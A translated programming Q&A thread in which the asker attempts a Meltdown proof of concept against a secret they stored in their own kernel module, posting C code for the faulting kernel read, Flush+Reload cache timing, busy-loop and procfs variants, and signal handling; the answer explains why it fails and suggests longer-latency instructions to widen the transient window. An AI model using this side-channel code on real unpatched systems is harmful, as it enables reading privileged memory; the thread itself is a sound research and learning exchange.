Поощрение процессора к выполнению не по порядку выполнения теста Meltdown - PullRequest
5 голосов
/ 30 марта 2019

Я пытаюсь использовать уязвимость системы безопасности при перепаде Ubuntu 16.04 с не исправленным ядром 4.8.0-36 на Intel Core-i5 4300M CPU.

Во-первых, я храню секретные данные по адресу в пространстве ядра, используя модуль ядра:

static __init int initialize_proc(void){
    char* key_val = "abcd";
    printk("Secret data address = %p\n", key_val);
    printk("Value at %p = %s\n", key_val, key_val);
}

Оператор printk дает мне адрес секретных данных.

Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd

Затем я пытаюсь получить доступ к данным в этом месте и в следующей инструкции использовать их для кэширования элемента массива.

// Out of order execution
int meltdown(unsigned long kernel_addr){
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Execute out of order
}

Я ожидаю, что ЦП продолжит кэшировать элемент массива с индексом (данные * 4096 + DELTA) при выполнении внеочередного выполнения. После этого выполняется проверка границ и выбрасывается SIGSEGV. Я обрабатываю SIGSEGV, а затем время доступа к элементам массива, чтобы определить, какой из них был кэширован:

void attackChannel_x86(){
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int min = 10000;
    int temp, i, k;

    for(i=0;i<256;i++){
        time1 = __rdtscp(&temp);      //timestamp before memory access
        temp = array[i*4096 + DELTA];
        time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
        if(time2<=min){
            min = time2;
            k=i;
        }

    }
    printf("array[%d*4096+DELTA]\n", k);
}

Поскольку значение в данных равно «a», я ожидаю, что результатом будет массив [97 * 4096 + DELTA], поскольку значение ASCII для «a» равно 97.

Однако, это не работает, и я получаю случайные результаты.

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[241*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[78*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[146*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[115*4096+DELTA]

Возможные причины, о которых я мог подумать:

  1. Инструкция, кэширующая элемент массива, не выполняется вышел из строя.
  2. Выполняется не по порядку, но кэш очищается.
  3. Я неправильно понял отображение памяти в модуле ядра и неверный адрес, который я использую

Поскольку система уязвима к краху, я уверен, что исключает 2-ю возможность.

Следовательно, мой вопрос: Почему здесь не работает внеплановое исполнение? Существуют ли какие-либо параметры / флаги, которые «побуждают» процессор работать не по порядку?

Решения, которые я уже пробовал:

  1. Использование clock_gettime вместо rdtscp для доступа к памяти времени.
void attackChannel(){
    int i, k, temp;

    uint64_t diff;
    volatile uint8_t *addr;
    double min  = 10000000;
    struct timespec start, end;

    for(i=0;i<256;i++){
        addr = &array[i*4096 + DELTA];
        clock_gettime(CLOCK_MONOTONIC, &start);
        temp = *addr;
        clock_gettime(CLOCK_MONOTONIC, &end);
        diff = end.tv_nsec - start.tv_nsec;
        if(diff<=min){
            min = diff;
            k=i;
        }
    }
    if(min<600)
        printf("Accessed element : array[%d*4096+DELTA]\n", k);
}
  1. Сохранение арифметических единиц «занятыми», выполняя цикл (см. meltdown_busy_loop )
void meltdown_busy_loop(unsigned long kernel_addr){
    char kernel_data;
    asm volatile(
        ".rept 1000;"
        "add $0x01, %%eax;"
        ".endr;"

        :
        :
        :"eax"
    );
    kernel_data = *(char*)kernel_addr;
    array[kernel_data*4096 + DELTA] +=10;
}
  1. Использование procfs для принудительного помещения данных в кэш перед выполнением временной атаки (см. распад )
int meltdown(unsigned long kernel_addr){   
    // Cache the data to improve success
    int fd = open("/proc/my_secret_key", O_RDONLY);
    if(fd<0){
        perror("open");
        return -1;
    }
    int ret = pread(fd, NULL, 0, 0);    //Data is cached
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Out of order
}

Для тех, кто заинтересован в его настройке, вот ссылка на репозиторий github

Ради полноты я добавляю код основной функции и обработки ошибок ниже:


void flushChannel(){
    int i;
    for(i=0;i<256;i++) array[i*4096 + DELTA] = 1;

    for(i=0;i<256;i++) _mm_clflush(&array[i*4096 + DELTA]);
}

void catch_segv(){
    siglongjmp(jbuf, 1);
}

int main(){
    unsigned long kernel_addr = 0xfa2ef024;
    signal(SIGSEGV, catch_segv);

    if(sigsetjmp(jbuf, 1)==0)
    {
        // meltdown(kernel_addr);
        meltdown_busy_loop(kernel_addr);
    }
    else{
        printf("Memory Access Violation\n");
    }

    attackChannel_x86();
}

1 Ответ

2 голосов
/ 03 апреля 2019

Я думаю, что данные должны быть в L1d для работы Meltdown, и попытка прочитать их только через запись TLB / page-table, которая не имеет привилегий, не приведет к L1d.

http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/

Когда происходит какой-либо плохой результат ( сбой страницы , загрузка из не умозрительного типа памяти, бит доступа к странице = 0), ни один из процессоров не инициирует неосновный запрос L2 чтобы получить данные .

Если нет чего-то, что я пропускаю, я думаю, что данные уязвимы только для Meltdown, когда что-то, что является разрешенным для чтения, приводит к L1d. (Непосредственно или через предварительную выборку HW.) Я не думаю, что повторные атаки Meltdown могут переносить данные из ОЗУ в L1d.

Попробуйте добавить системный вызов или что-то в ваш модуль, который использует READ_ONCE() для ваших секретных данных (или вручную введите *(volatile int*)&data; или просто сделайте его volatile, чтобы вы могли легко его коснуться), чтобы перенести его в кеш из контекст, который имеет привилегии для этого PTE.


Также: add $0x01, %%eax - плохой выбор для отсрочки выхода на пенсию. Это только 1 тактовый цикл задержки на одну операцию, поэтому OoO exec имеет только ~ 64 такта, начиная с того момента, когда первая команда после ADD может войти в планировщик (RS) и выполнить, до того, как она будет проходить через добавления, и сбойные нагрузки достигнут выхода на пенсию.

По крайней мере, используйте imul (задержка 3c), или лучше используйте xorps %xmm0,%xmm0 / повторное sqrtpd %xmm0,%xmm0 (одиночный моп, задержка 16 циклов на вашем Haswell.) https://agner.org/optimize/.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...